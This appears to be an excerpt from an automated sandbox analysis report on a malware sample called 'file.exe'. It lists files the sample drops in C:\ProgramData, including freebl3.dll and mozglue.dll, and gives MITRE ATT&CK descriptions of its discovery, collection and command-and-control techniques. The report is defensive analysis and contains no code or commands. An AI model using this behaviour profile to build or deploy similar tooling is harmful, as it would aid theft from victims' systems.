C:\ProgramData\IECFHDBA

C:\ProgramData\JJDHIDBFBFHIJKFHCGIEGIDAEH

C:\ProgramData\KKFBFCAFCBKFIEBFHIDB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre